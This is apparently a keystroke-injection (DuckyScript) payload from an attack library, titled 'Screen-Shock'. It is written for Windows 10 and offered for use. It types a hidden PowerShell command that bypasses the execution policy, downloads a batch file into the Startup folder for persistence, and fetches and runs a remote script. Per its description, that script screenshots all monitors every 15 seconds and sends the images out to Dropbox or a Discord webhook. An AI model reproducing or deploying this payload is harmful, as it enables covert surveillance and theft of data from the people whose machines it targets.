Path: blob/master/payloads/library/exfiltration/Screen-Shock/payload.txt
2968 views
REM Title: Screen-Shock12REM Author: atomiczsec34REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)56REM Target: Windows 1078DELAY 20009GUI10DELAY11STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""12ENTER1314REM Remember to replace the link with your pastebin shared link for the intended files to download15REM Also remember to put in your discord webhook in c.ps116REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH1718